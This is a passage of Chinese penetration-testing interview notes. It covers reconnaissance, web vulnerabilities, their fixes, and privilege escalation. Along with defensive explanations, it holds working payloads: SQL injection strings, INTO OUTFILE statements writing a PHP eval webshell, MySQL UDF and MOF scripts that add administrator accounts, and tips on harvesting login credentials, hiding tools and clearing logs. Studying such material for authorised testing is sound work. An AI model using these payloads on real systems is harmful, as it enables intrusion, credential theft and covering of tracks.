資訊收集
- 伺服器的相關資訊(真實ip,系統類型,版本,開放端口,WAF等)
- 網站指紋識别(包括,cms,cdn,證書等),dns記錄
- whois資訊,姓名,備案,郵箱,電話反查(郵箱丢社工庫,社工準備等)
- 子域名收集,旁站,C段等
- google hacking針對化搜尋,pdf檔案,中間件版本,弱密碼掃描等
- 掃描網站目錄結構,爆背景,網站banner,測試檔案,備份等敏感檔案洩漏等
- 傳輸協定,通用漏洞,exp,github源碼等
漏洞挖掘
- 浏覽網站,看看網站規模,功能,特點等
- 端口,弱密碼,目錄等掃描,對響應的端口進行漏洞探測,比如 rsync,心髒出血,mysql,ftp,ssh弱密碼等。
- XSS,SQL注入,上傳,指令注入,CSRF,cookie安全檢測,敏感資訊,通信資料傳輸,暴力破解,任意檔案上傳,越權通路,未授權通路,目錄周遊,檔案 包含,重播攻擊(短信轟炸),伺服器漏洞檢測,最後使用漏掃工具等
漏洞利用&權限提升
- mysql提權,serv-u提權,oracle提權
- windows 溢出提權
- linux髒牛,核心漏洞提權e
清除測試資料&輸出報告
日志、測試資料的清理
總結,輸出滲透測試報告,附修複方案
複測
驗證并發現是否有新漏洞,輸出報告,歸檔
問題
1.拿到一個待檢測的站,你覺得應該先做什麼?
a、資訊收集
1、擷取域名的whois資訊,擷取注冊者郵箱姓名電話等,丢社工庫裡看看有沒有洩露密碼,然後嘗試用洩露的密碼進行登入背景。用郵箱做關鍵詞進行丢進搜尋引擎。利用搜尋到的關聯資訊找出其他郵箱進而得到常用社交賬号。社工找出社交賬号,裡面或許會找出管理者設定密碼的習慣 。利用已有資訊生成專用字典。
2、查詢伺服器旁站以及子域名站點,因為主站一般比較難,是以先看看旁站有沒有通用性的cms或者其他漏洞。
3、檢視伺服器作業系統版本,web中間件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞
4、檢視IP,進行IP位址端口掃描,對響應的端口進行漏洞探測,比如 rsync,心髒出血,mysql,ftp,ssh弱密碼等。
5、掃描網站目錄結構,看看是否可以周遊目錄,或者敏感檔案洩漏,比如php探針
6、google hack 進一步探測網站的資訊,背景,敏感檔案
b、漏洞掃描
開始檢測漏洞,如XSS,XSRF,sql注入,代碼執行,指令執行,越權通路,目錄讀取,任意檔案讀取,下載下傳,檔案包含,遠端指令執行,弱密碼,上傳,編輯器漏洞,暴力破解等
c、漏洞利用
利用以上的方式拿到webshell,或者其他權限
d、權限提升
提權伺服器,比如windows下mysql的udf提權,serv-u提權,windows低版本的漏洞,如iis6,pr,巴西烤肉,linux髒牛漏洞,linux核心版本漏洞提權,linux下的mysql system提權以及oracle低權限提權
e、日志清理
f、總結報告及修複方案
2.判斷出網站的CMS對滲透有什麼意義?
查找網上已曝光的程式漏洞。
如果開源,還能下載下傳相對應的源碼進行代碼審計。
3.一個成熟并且相對安全的CMS,滲透時掃目錄的意義?
敏感檔案、二級目錄掃描
站長的誤操作比如:網站備份的壓縮檔案、說明.txt、二級目錄可能存放着其他站點
4.常見的網站伺服器容器。
IIS、Apache、nginx、Lighttpd、Tomcat
5.mysql注入點,用工具對目标站直接寫入一句話,需要哪些條件?
root權限以及網站的絕對路徑。
6.目前已知哪些版本的容器有解析漏洞,具體舉例。
a、IIS 6.0
/xx.asp/xx.jpg "xx.asp"是檔案夾名
b、IIS 7.0/7.5
預設Fast-CGI開啟,直接在url中圖檔位址後面輸入/1.php,會把正常圖檔當成php解析
c、Nginx
版本小于等于0.8.37,利用方法和IIS 7.0/7.5一樣,Fast-CGI關閉情況下也可利用。空位元組代碼 xxx.jpg.php
d、Apache 上傳的檔案命名為:test.php.x1.x2.x3,Apache是從右往左判斷字尾
e、lighttpd xx.jpg/xx.php,不全,請小夥伴們在評論處不吝補充,謝謝!
7.如何手工快速判斷目标站是windows還是linux伺服器?
linux大小寫敏感,windows大小寫不敏感。
8.為何一個mysql資料庫的站,隻有一個80端口開放?
更改了端口,沒有掃描出來。
站庫分離。
3306端口不對外開放
9、3389無法連接配接的幾種情況
沒開放3389 端口
端口被修改
防護攔截
處于内網(需進行端口轉發)
10.如何突破注入時字元被轉義?
寬字元注入
hex編碼繞過
11.在某背景新聞編輯界面看到編輯器,應該先做什麼?
檢視編輯器的名稱版本,然後搜尋公開的漏洞。
12.拿到一個webshell發現網站根目錄下有.htaccess檔案,我們能做什麼?
能做的事情很多,用隐藏網馬來舉例子:
插入
<FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php
.jpg檔案會被解析成.php檔案。
具體其他的事情,不好詳說,建議大家自己去搜尋語句來玩玩。
13.注入漏洞隻能查賬号密碼?
隻要權限廣,拖庫脫到老。
14.安全狗會追蹤變量,進而發現出是一句話木馬嗎?
是根據特征碼,是以很好繞過了,隻要思路寬,繞狗繞到歡,但這應該不會是一成不變的。
**15.access 掃出字尾為asp的資料庫檔案,通路亂碼,**如何實作到本地利用?
迅雷下載下傳,直接改字尾為.mdb。
16.提權時選擇可讀寫目錄,為何盡量不用帶空格的目錄?
因為exp執行多半需要空格界定參數
17.某伺服器有站點A,B 為何在A的背景添加test使用者,通路B的背景。發現也添加上了test使用者?
同資料庫。
18.注入時可以不使用and 或or 或xor,直接order by 開始注入嗎?
and/or/xor,前面的1=1、1=2步驟隻是為了判斷是否為注入點,如果已經确定是注入點那就可以省那步驟去。
19:某個防注入系統,在注入時會提示:
系統檢測到你有非法注入的行為。
已記錄您的ip xx.xx.xx.xx
時間:2016:01-23
送出頁面:test.asp?id=15
送出内容:and 1=1
20、如何利用這個防注入系統拿shell?
在URL裡面直接送出一句話,這樣網站就把你的一句話也記錄進資料庫檔案了 這個時候可以嘗試尋找網站的配置檔案 直接上菜刀連結。
21.上傳大馬後通路亂碼時,有哪些解決辦法?
浏覽器中改編碼。
22.審查上傳點的元素有什麼意義?
有些站點的上傳檔案類型的限制是在前端實作的,這時隻要增加上傳類型就能突破限制了。
23.目标站禁止注冊使用者,找回密碼處随便輸入使用者名提示:“此使用者不存在”,你覺得這裡怎樣利用?
先爆破使用者名,再利用被爆破出來的使用者名爆破密碼。
其實有些站點,在登陸處也會這樣提示
所有和資料庫有互動的地方都有可能有注入。
24.目标站發現某txt的下載下傳位址為
http://www.test.com/down/down.php?file=/upwdown/1.txt,你有什麼思路?
這就是傳說中的下載下傳漏洞!在file=後面嘗試輸入index.php下載下傳他的首頁檔案,然後在首頁檔案裡繼續查找其他網站的配置檔案,可以找出網站的資料庫密碼和資料庫的位址。
25.甲給你一個目标站,并且告訴你根目錄下存在/abc/目錄,并且此目錄下存在編輯器和admin目錄。請問你的想法是?
直接在網站二級目錄/abc/下掃描敏感檔案及目錄。
26.在有shell的情況下,如何使用xss實作對目标站的長久控制?
背景登入處加一段記錄登入賬号密碼的js,并且判斷是否登入成功,如果登入成功,就把賬号密碼記錄到一個生僻的路徑的檔案中或者直接發到自己的網站檔案中。(此方法适合有價值并且需要深入控制權限的網絡)。
在登入後才可以通路的檔案中插入XSS腳本。
27.背景修改管理者密碼處,原密碼顯示為*。你覺得該怎樣實作讀出這個使用者的密碼?
審查元素 把密碼處的password屬性改成text就明文顯示了
28.目标站無防護,上傳圖檔可以正常通路,上傳腳本格式通路則403.什麼原因?
原因很多,有可能web伺服器配置把上傳目錄寫死了不執行相應腳本,嘗試改字尾名繞過
29.審查元素得知網站所使用的防護軟體,你覺得怎樣做到的?
在敏感操作被攔截,通過界面資訊無法具體判斷是什麼防護的時候,F12看HTML體部 比如護衛神就可以在名稱那看到内容。
30.在win2003伺服器中建立一個 .zhongzi檔案夾用意何為?
隐藏檔案夾,為了不讓管理者發現你傳上去的工具。
31、sql注入有以下兩個測試選項,選一個并且闡述不選另一個的理由:
A. demo.jsp?id=2+1
B. demo.jsp?id=2-1
選B,在 URL 編碼中 + 代表空格,可能會造成混淆
32、以下連結存在 sql 注入漏洞,對于這個變形注入,你有什麼思路?
demo.do?DATA=AjAxNg==
DATA有可能經過了 base64 編碼再傳入伺服器,是以我們也要對參數進行 base64 編碼才能正确完成測試
33、發現 demo.jsp?uid=110 注入點,你有哪幾種思路擷取 webshell,哪種是優選?
有寫入權限的,構造聯合查詢語句使用using INTO OUTFILE,可以将查詢的輸出重定向到系統的檔案中,這樣去寫入 WebShell 使用 sqlmap –os-shell 原理和上面一種相同,來直接獲得一個 Shell,這樣效率更高 通過構造聯合查詢語句得到網站管理者的賬戶和密碼,然後掃背景登入背景,再在背景通過改包上傳等方法上傳 Shell
34、CSRF 和 XSS 和 XXE 有什麼差別,以及修複方式?
XSS是跨站腳本攻擊,使用者送出的資料中可以構造代碼來執行,進而實作竊取使用者資訊等攻擊。修複方式:對字元實體進行轉義、使用HTTP Only來禁止JavaScript讀取Cookie值、輸入時校驗、浏覽器與Web應用端采用相同的字元編碼。
CSRF是跨站請求僞造攻擊,XSS是實作CSRF的諸多手段中的一種,是由于沒有在關鍵操作執行時進行是否由使用者自願發起的确認。修複方式:篩選出需要防範CSRF的頁面然後嵌入Token、再次輸入密碼、檢驗Referer XXE是XML外部實體注入攻擊,XML中可以通過調用實體來請求本地或者遠端内容,和遠端檔案保護類似,會引發相關安全問題,例如敏感檔案讀取。修複方式:XML解析庫在調用時嚴格禁止對外部實體的解析。
35、CSRF、SSRF和重播攻擊有什麼差別?
CSRF是跨站請求僞造攻擊,由用戶端發起 SSRF是伺服器端請求僞造,由伺服器發起 重播攻擊是将截獲的資料包進行重放,達到身份認證等目的
36、說出至少三種業務邏輯漏洞,以及修複方式?
密碼找回漏洞中存在
1)密碼允許暴力破解、
2)存在通用型找回憑證、
3)可以跳過驗證步驟、
4)找回憑證可以攔包擷取
等方式來通過廠商提供的密碼找回功能來得到密碼。身份認證漏洞中最常見的是
1)會話固定攻擊
2) Cookie 仿冒
隻要得到 Session 或 Cookie 即可僞造使用者身份。驗證碼漏洞中存在
1)驗證碼允許暴力破解
2)驗證碼可以通過 Javascript 或者改包的方法來進行繞過
37、圈出下面會話中可能存在問題的項,并标注可能會存在的問題?
get /ecskins/demo.jsp?uid=2016031900&keyword=”hello world”HTTP/1.1Host:***.com:82User-Agent:Mozilla/5.0 Firefox/40Accept:text/css,/;q=0.1Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3Referer:http://*******.com/eciop/orderForCC/cgtListForCC.htm?zone=11370601&v=145902Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;st_uid=N90PLYHLZGJXI-NX01VPUF46W;status=TrueConnection:keep-alive
38、給你一個網站你是如何來滲透測試的?在擷取書面授權的前提下。
39、sqlmap,怎麼對一個注入點注入?
1)如果是get型号,直接,sqlmap -u "諸如點網址".
2) 如果是post型諸如點,可以sqlmap -u "注入點網址” --data="post的參數"
3)如果是cookie,X-Forwarded-For等,可以通路的時候,用burpsuite抓包,注入處用号替換,放到檔案裡,然後sqlmap -r "檔案位址"
40、nmap,掃描的幾種方式
41、sql注入的幾種類型?
1)報錯注入
2)bool型注入
3)延時注入
4)寬位元組注入
42、報錯注入的函數有哪些?10個
1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】2)通過floor報錯 向下取整3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)4).geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b));5).multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));6).polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));7).multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));8).linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));9).multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));10).exp()select from test where id=1 and exp(~(select * from(select user())a));
43、延時注入如何來判斷?
if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)
44、盲注和延時注入的共同點?都是一個字元一個字元的判斷
45、如何拿一個網站的webshell?上傳,背景編輯模闆,sql注入寫檔案,指令執行,代碼執行, 一些已經爆出的cms漏洞,比如dedecms背景可以直接建立腳本檔案,wordpress上傳插件包含腳本檔案zip壓縮包等
46、sql注入寫檔案都有哪些函數?
select '一句話' into outfile '路徑'select '一句話' into dumpfile '路徑'select '<?php eval($_POST[1]) ?>' into dumpfile 'd:\wwwroot\baidu.com\nvhack.php';
47、如何防止CSRF?
1,驗證referer
2,驗證token
48、owasp 漏洞都有哪些?
1、SQL注入防護方法:
2、失效的身份認證和會話管理
3、跨站腳本攻擊XSS
4、直接引用不安全的對象
5、安全配置錯誤
6、敏感資訊洩露
7、缺少功能級的通路控制
8、跨站請求僞造CSRF
9、使用含有已知漏洞的元件
10、未驗證的重定向和轉發
49、SQL注入防護方法?
1、使用安全的API
2、對輸入的特殊字元進行Escape轉義處理
3、使用白名單來規範化輸入驗證方法
4、對用戶端輸入進行控制,不允許輸入SQL注入相關的特殊字元
5、伺服器端在送出資料庫進行SQL查詢之前,對特殊字元進行過濾、轉義、替換、删除。
50、代碼執行,檔案讀取,指令執行的函數都有哪些?
1)代碼執行:eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function2)檔案讀取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等3)指令執行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
51、img标簽除了onerror屬性外,還有其他擷取管理者路徑的辦法嗎?
src指定一個遠端的腳本檔案,擷取referer
52、img标簽除了onerror屬性外,并且src屬性的字尾名,必須以.jpg結尾,怎麼擷取管理者路徑。
1)遠端伺服器修改apache配置檔案,配置.jpg檔案以php方式來解析 AddType application/x-httpd-php .jpg <img src=http://xss.tv/1.jpg> 會以php方式來解析
53、為什麼aspx木馬權限比asp大?
aspx使用的是.net技術。IIS 中預設不支援,ASP隻是腳本語言而已。入侵的時候asp的木馬一般是guest權限…APSX的木馬一般是users權限。
54、如何繞過waf?
大小寫轉換法 幹擾字元 /*!*/ 編碼 base64 unicode hex url ascll 複參數
55、如何向伺服器寫入webshell?
各種上傳漏洞mysql具有寫入權限,用sql語句寫入shellhttp put方法
56、滲透測試中常見的端口
a、web類(web漏洞/敏感目錄) 第三方通用元件漏洞struts thinkphp jboss ganglia zabbix
80 web 80-89 web 8000-9090 web
b、資料庫類(掃描弱密碼)
1433 MSSQL 1521 Oracle 3306 MySQL 5432 PostgreSQL
c、特殊服務類(未授權/指令執行類/漏洞)
443 SSL心髒滴血 873 Rsync未授權 5984 CouchDB http://xxx:5984/_utils/ 6379 redis未授權 7001,7002 WebLogic預設弱密碼,反序列 9200,9300 elasticsearch 參考WooYun: 多玩某伺服器ElasticSearch指令執行漏洞 11211 memcache未授權通路 27017,27018 Mongodb未授權通路 50000 SAP指令執行 50070,50030 hadoop預設端口未授權通路
d、常用端口類(掃描弱密碼/端口爆破)
21 ftp 22 SSH 23 Telnet 2601,2604 zebra路由,預設密碼zebra3389 遠端桌面
ALL、端口合計詳情
21 ftp 22 SSH 23 Telnet 80 web 80-89 web 161 SNMP 389 LDAP 443 SSL心髒滴血以及一些web漏洞測試 445 SMB 512,513,514 Rexec 873 Rsync未授權 1025,111 NFS 1433 MSSQL 1521 Oracle:(iSqlPlus Port:5560,7778) 2082/2083 cpanel主機管理系統登陸 (國外用較多)2222 DA虛拟主機管理系統登陸 (國外用較多) 2601,2604 zebra路由,預設密碼zebra3128 squid代理預設端口,如果沒設定密碼很可能就直接漫遊内網了 3306 MySQL 3312/3311 kangle主機管理系統登陸 3389 遠端桌面 4440 rundeck 參考WooYun: 借用新浪某服務成功漫遊新浪内網 5432 PostgreSQL 5900 vnc 5984 CouchDB http://xxx:5984/_utils/ 6082 varnish 參考WooYun: Varnish HTTP accelerator CLI 未授權通路易導緻網站被直接篡改或者作為代理進入内網 6379 redis未授權 7001,7002 WebLogic預設弱密碼,反序列 7778 Kloxo主機控制台登入 8000-9090 都是一些常見的web端口,有些運維喜歡把管理背景開在這些非80的端口上 8080 tomcat/WDCP主機管理系統,預設弱密碼 8080,8089,9090 JBOSS 8083 Vestacp主機管理系統 (國外用較多) 8649 ganglia 8888 amh/LuManager 主機管理系統預設端口 9200,9300 elasticsearch 參考WooYun: 多玩某伺服器ElasticSearch指令執行漏洞 10000 Virtualmin/Webmin 伺服器虛拟主機管理系統 11211 memcache未授權通路 27017,27018 Mongodb未授權通路 28017 mongodb統計頁面 50000 SAP指令執行 50070,50030 hadoop預設端口未授權通路
深信服一面:
- 了解哪些漏洞
- 檔案上傳有哪些防護方式
- 用什麼掃描端口,目錄
- 如何判斷注入
- 注入有防護怎麼辦
- 有沒有寫過tamper
- 3306 1443 8080是什麼端口
- 計算機網絡從實體層到應用層xxxx
- 有沒有web服務開發經驗
- 如何向伺服器寫入webshell
- 有沒有用過xss平台
- 網站滲透的流程
- mysql兩種提權方式(udf,?)
- 常見加密方式xxx
- ddos如何防護
- 有沒有抓過包,會不會寫wireshark過濾規則
- 清理日志要清理哪些
SQL注入防護
6、規範編碼,字元集
為什麼參數化查詢可以防止sql注入
原理:
使用參數化查詢資料庫伺服器不會把參數的内容當作sql指令的一部分來執行,是在資料庫完成sql指令的編譯後才套用參數運作
簡單的說: 參數化能防注入的原因在于,語句是語句,參數是參數,參數的值并不是語句的一部分,資料庫隻按語句的語義跑
SQL頭注入點
UAREFERERCOOKIEIP
盲注是什麼?怎麼盲注?
盲注是在SQL注入攻擊過程中,伺服器關閉了錯誤回顯,我們單純通過伺服器傳回内容的變化來判斷是否存在SQL注入和利用的方式。盲注的手段有兩種,一個是通過頁面的傳回内容是否正确(boolean-based),來驗證是否存在注入。一個是通過sql語句處理時間的不同來判斷是否存在注入(time-based),在這裡,可以用benchmark,sleep等造成延時效果的函數,也可以通過構造大笛卡兒積的聯合查詢表來達到延時的目的。
寬位元組注入産生原理以及根本原因
産生原理
在資料庫使用了寬字元集而WEB中沒考慮這個問題的情況下,在WEB層,由于0XBF27是兩個字元,在PHP中比如addslash和magic_quotes_gpc開啟時,由于會對0x27單引号進行轉義,是以0xbf27會變成0xbf5c27,而資料進入資料庫中時,由于0XBF5C是一個另外的字元,是以\轉義符号會被前面的bf帶着"吃掉",單引号由此逃逸出來可以用來閉合語句。
在哪裡編碼
根本原因
character_set_client(用戶端的字元集)和character_set_connection(連接配接層的字元集)不同,或轉換函數如,iconv、mb_convert_encoding使用不當。
解決辦法
統一資料庫、Web應用、作業系統所使用的字元集,避免解析産生差異,最好都設定為UTF-8。或對資料進行正确的轉義,如mysql_real_escape_string+mysql_set_charset的使用。
sql裡面隻有update怎麼利用
先了解這句 SQL
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
如果此 SQL 被修改成以下形式,就實作了注入
a、修改 homepage 值為
http://xxx.net',
userlevel='3
之後 SQL 語句變為
UPDATE user SET password='mypass', homepage='http://xxx.net', userlevel='3' WHERE id='$id'
userlevel 為使用者級别
b、修改 password 值為
mypass)' WHERE username='admin'#
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
c、修改 id 值為
' OR username='admin'
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
sql如何寫shell/單引号被過濾怎麼辦
寫shell: root權限,GPC關閉,知道檔案路徑 outfile函數
`http://127.0.0.1:81/sqli.php?id=1 into outfile 'C:\\wamp64\\www\\phpinfo.php' FIELDS TERMINATED BY '<?php phpinfo(); ?>'``http://127.0.0.1:81/sqli.php?id=-1 union select 1,0x3c3f70687020706870696e666f28293b203f3e,3,4 into outfile 'C:\\wamp64\\www\\phpinfo.php'`
寬位元組注入
代替空格的方法
%0a、%0b、%a0 等/**/ 等注釋符<>
mysql的網站注入,5.0以上和5.0以下有什麼差別?
5.0以下沒有information_schema這個系統表,無法清單名等,隻能暴力跑表名。
5.0以下是多使用者單操作,5.0以上是多使用者多操做。
XSS
XSS原理
反射型
使用者送出的資料中可以構造代碼來執行,進而實作竊取使用者資訊等攻擊。需要誘使使用者“點選”一個惡意連結,才能攻擊成功
儲存型
存儲型XSS會把使用者輸入的資料“存儲”在伺服器端。這種XSS具有很強的穩定性。
DOM型
通過修改頁面的DOM節點形成的XSS,稱之為DOM Based XSS。
DOM型和反射型的差別
反射型XSS:通過誘導使用者點選,我們構造好的惡意payload才會觸發的XSS。反射型XSS的檢測我們在每次請求帶payload的連結時頁面應該是會帶有特定的畸形資料的。DOM型:通過修改頁面的DOM節點形成的XSS。DOM-based XSS由于是通過js代碼進行dom操作産生的XSS,是以在請求的響應中我們甚至不一定會得到相應的畸形資料。根本差別在我看來是輸出點的不同。
DOM型XSS 自動化測試或人工測試
人工測試思路:找到類似document.write、innerHTML指派、outterHTML指派、window.location操作、寫javascript:後内容、eval、setTimeout 、setInterval 等直接執行之類的函數點。找到其變量,回溯變量來源觀察是否可控,是否經過安全函數。自動化測試參看道哥的部落格,思路是從輸入入手,觀察變量傳遞的過程,最終檢查是否有在危險函數輸出,中途是否有經過安全函數。但是這樣就需要有一個javascript解析器,否則會漏掉一些通過js執行帶入的部分内容。
在回答這段問題的時候,由于平時對客戶的檢測中,基本是憑借不同功能點的功能加上經驗和直覺來進行檢測,對不同類型的XSS檢測方式實際上并沒有太過細分的标準化檢測方式,是以回答的很爛。。。
對于XSS怎麼修補建議
輸入點檢查:對使用者輸入的資料進行合法性檢查,使用filter過濾敏感字元或對進行編碼轉義,針對特定類型資料進行格式檢查。針對輸入點的檢查最好放在伺服器端實作。
輸出點檢查:對變量輸出到HTML頁面中時,對輸出内容進行編碼轉義,輸出在HTML中時,對其進行HTMLEncode,如果輸出在Javascript腳本中時,對其進行JavascriptEncode。對使用JavascriptEncode的變量都放在引号中并轉義危險字元,data部分就無法逃逸出引号外成為code的一部分。還可以使用更加嚴格的方法,對所有數字字母之外的字元都使用十六進制編碼。此外,要注意在浏覽器中,HTML的解析會優先于Javascript的解析,編碼的方式也需要考慮清楚,針對不同的輸出點,我們防禦XSS的方法可能會不同,這點可能在之後的文章會做下總結。
除此之外,還有做HTTPOnly對Cookie劫持做限制。
XSS蠕蟲的産生條件
正常情況下,一個是産生XSS點的頁面不屬于self頁面,使用者之間産生互動行為的頁面,都可能造成XSS Worm的産生。
不一定需要存儲型XSS
CSRF
CSRF原理
CSRF是跨站請求僞造攻擊,由用戶端發起,是由于沒有在關鍵操作執行時進行是否由使用者自願發起的确認
防禦
驗證Referer
添加token
token和referer做橫向對比,誰安全等級高?
token安全等級更高,因為并不是任何伺服器都可以取得referer,如果從HTTPS跳到HTTP,也不會發送referer。并且FLASH一些版本中可以自定義referer。但是token的話,要保證其足夠随機且不可洩露。(不可預測性原則)
對referer的驗證,從什麼角度去做?如果做,怎麼杜絕問題
對header中的referer的驗證,一個是空referer,一個是referer過濾或者檢測不完善。為了杜絕這種問題,在驗證的白名單中,正則規則應當寫完善。
針對token,對token測試會注意哪方面内容,會對token的哪方面進行測試?
引用一段請教前輩的回答:
針對token的攻擊,一是對它本身的攻擊,重放測試一次性、分析加密規則、校驗方式是否正确等,二是結合資訊洩露漏洞對它的擷取,結合着發起組合攻擊資訊洩露有可能是緩存、日志、get,也有可能是利用跨站很多跳轉登入的都依賴token,有一個跳轉漏洞加反射型跨站就可以組合成登入劫持了另外也可以結合着其它業務來描述token的安全性及設計不好怎麼被繞過比如搶紅包業務之類的
SSRF
SSRF(Server-Side Request Forgery:伺服器端請求僞造) 是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。一般情況下,SSRF攻擊的目标是從外網無法通路的内部系統。(正是因為它是由服務端發起的,是以它能夠請求到與它相連而與外網隔離的内部系統)
SSRF 形成的原因大都是由于服務端提供了從其他伺服器應用擷取資料的功能且沒有對目标位址做過濾與限制。比如從指定URL位址擷取網頁文本内容,加載指定位址的圖檔,下載下傳等等。
檢測
SSRF漏洞的驗證方法:
1)因為SSRF漏洞是讓伺服器發送請求的安全漏洞,是以我們就可以通過抓包分析發送的請求是否是由伺服器的發送的,進而來判斷是否存在SSRF漏洞
2)在頁面源碼中查找通路的資源位址 ,如果該資源位址類型為www.baidu.com/xxx.php?image=(位址)的就可能存在SSRF漏洞 4[1]
SSRF漏洞的成因 防禦 繞過
成因:模拟伺服器對其他伺服器資源進行請求,沒有做合法性驗證。利用:構造惡意内網IP做探測,或者使用其餘所支援的協定對其餘服務進行攻擊。防禦:禁止跳轉,限制協定,内外網限制,URL限制。繞過:使用不同協定,針對IP,IP格式的繞過,針對URL,惡意URL增添其他字元,@之類的。301跳轉+dns rebindding。
上傳
檔案上傳漏洞原理
由于程式員在對使用者檔案上傳部分的控制不足或者處理缺陷,而導緻使用者可以越過其本身權限向伺服器上傳可執行的動态腳本檔案
常見的上傳繞過方式
前端js驗證:禁用js/burp改包
大小寫
雙重字尾名
過濾繞過 pphphp->php
防護
檔案上傳目錄設定為不可執行
使用白名單判斷檔案上傳類型
用随機數改寫檔案名和路徑
審查上傳點的元素有什麼意義?
檔案包含
原理
引入一段使用者能控制的腳本或代碼,并讓伺服器端執行 include()等函數通過動态變量的方式引入需要包含的檔案;
使用者能夠控制該動态變量。
導緻檔案包含的函數
PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfile(), … JSP/Servlet:ava.io.File(), java.io.Fil-eReader(), … ASP:include file, include virtual,
本地檔案包含
能夠打開并包含本地檔案的漏洞,被稱為本地檔案包含漏洞
金融行業常見邏輯漏洞
單針對金融業務的 主要是資料的篡改(涉及金融資料,或部分業務的判斷資料),由競争條件或者設計不當引起的薅羊毛,交易/訂單資訊洩露,水準越權對别人的賬戶檢視或惡意操作,交易或業務步驟繞過。
中間人攻擊
中間人攻擊是一個(缺乏)互相認證的攻擊;由于用戶端與伺服器之間在SSL握手的過程中缺乏互相認證而造成的漏洞
防禦中間人攻擊的方案通常基于一下幾種技術
1.公鑰基礎建設PKI 使用PKI互相認證機制,用戶端驗證伺服器,伺服器驗證用戶端;上述兩個例子中都是隻驗證伺服器,這樣就造成了SSL握手環節的漏洞,而如果使用互相認證的的話,基本可以更強力的互相認證
2.延遲測試
使用複雜加密哈希函數進行計算以造成數十秒的延遲;如果雙方通常情況下都要花費20秒來計算,并且整個通訊花費了60秒計算才到達對方,這就能表明存在第三方中間人。
3.使用其他形式的密鑰交換形式
ARP欺騙
每台主機都有一個ARP快取記錄,緩存表中記錄了IP位址與MAC位址的對應關系,而區域網路資料傳輸依靠的是MAC位址。在ARP快取記錄機制存在一個缺陷,就是當請求主機收到ARP應答包後,不會去驗證自己是否向對方主機發送過ARP請求包,就直接把這個傳回包中的IP位址與MAC位址的對應關系儲存進ARP快取記錄中,如果原有相同IP對應關系,原有的則會被替換。這樣攻擊者就有了偷聽主機傳輸的資料的可能
1.在主機綁定網關MAC與IP位址為靜态(預設為動态),指令:arp -s 網關IP 網關MAC
2.在網關綁定主機MAC與IP位址
3.使用ARP防火牆
DDOS
Ddos原理
利用合理的請求造成資源過載,導緻服務不可用
syn洪流的原理
僞造大量的源IP位址,分别向伺服器端發送大量的SYN包,此時伺服器端會傳回SYN/ACK包,因為源位址是僞造的,是以僞造的IP并不會應答,伺服器端沒有收到僞造IP的回應,會重試3~5次并且等待一個SYNTime(一般為30秒至2分鐘),如果逾時則丢棄這個連接配接。攻擊者大量發送這種僞造源位址的SYN請求,伺服器端将會消耗非常多的資源(CPU和記憶體)來處理這種半連接配接,同時還要不斷地對這些IP進行SYN+ACK重試。最後的結果是伺服器無暇理睬正常的連接配接請求,導緻拒絕服務。
CC攻擊原理
對一些消耗資源較大的應用頁面不斷發起正常的請求,以達到消耗服務端資源的目的。
DDOS防護
SYN Cookie/SYN Proxy、safereset等算法。SYN Cookie的主要思想是為每一個IP位址配置設定一個“Cookie”,并統計每個IP位址的通路頻率。如果在短時間内收到大量的來自同一個IP位址的資料包,則認為受到攻擊,之後來自這個IP位址的包将被丢棄。
提權
mysql兩種提權方式
udf提權,mof提權
Mysql_UDF提權
要求: 1.目标系統是Windows(Win2000,XP,Win2003);2.擁有MYSQL的某個使用者賬号,此賬号必須有對mysql的insert和delete權限以建立和抛棄函數 3.有root賬号密碼 導出udf: MYSQL 5.1以上版本,必須要把udf.dll檔案放到MYSQL安裝目錄下的lib\plugin檔案夾下才能建立自定義函數 可以再mysql裡輸入
select @@basedir
show variables like ‘%plugins%’
尋找mysql安裝路徑 提權:
使用SQL語句建立功能函數。文法:Create Function 函數名(函數名隻能為下面清單中的其中之一)returns string soname ‘導出的DLL路徑’;
create function cmdshell returns string soname ‘udf.dll’select cmdshell(‘net user arsch arsch /add’);select cmdshell(‘net localgroup administrators arsch /add’);drop function cmdshell;
該目錄預設是不存在的,這就需要我們使用webshell找到MYSQL的安裝目錄,并在安裝目錄下建立lib\plugin檔案夾,然後将udf.dll檔案導出到該目錄即可。
Mysql mof提權
#pragma namespace("\\\\.\\root\\subscription")instance of __EventFilter as $EventFilter{EventNamespace = "Root\\Cimv2";Name = "filtP2";Query = "Select * From __InstanceModificationEvent ""Where TargetInstance Isa \"Win32_LocalTime\" ""And TargetInstance.Second = 5";QueryLanguage = "WQL";};instance of ActiveScriptEventConsumer as $Consumer{Name = "consPCSV2";ScriptingEngine = "JScript";ScriptText ="var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";};instance of __FilterToConsumerBinding{Consumer = $Consumer;Filter = $EventFilter;};
其中的第18行的指令,上傳前請自己更改。
2、執行load_file及into dumpfile把檔案導出到正确的位置即可。
select load file('c:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mov'
執行成功後,即可添加一個普通使用者,然後你可以更改指令,再上傳導出執行把使用者提升到管理者權限,然後3389連接配接之就ok了。
特殊漏洞
Struts2-045
Redis未授權通路
産生原因
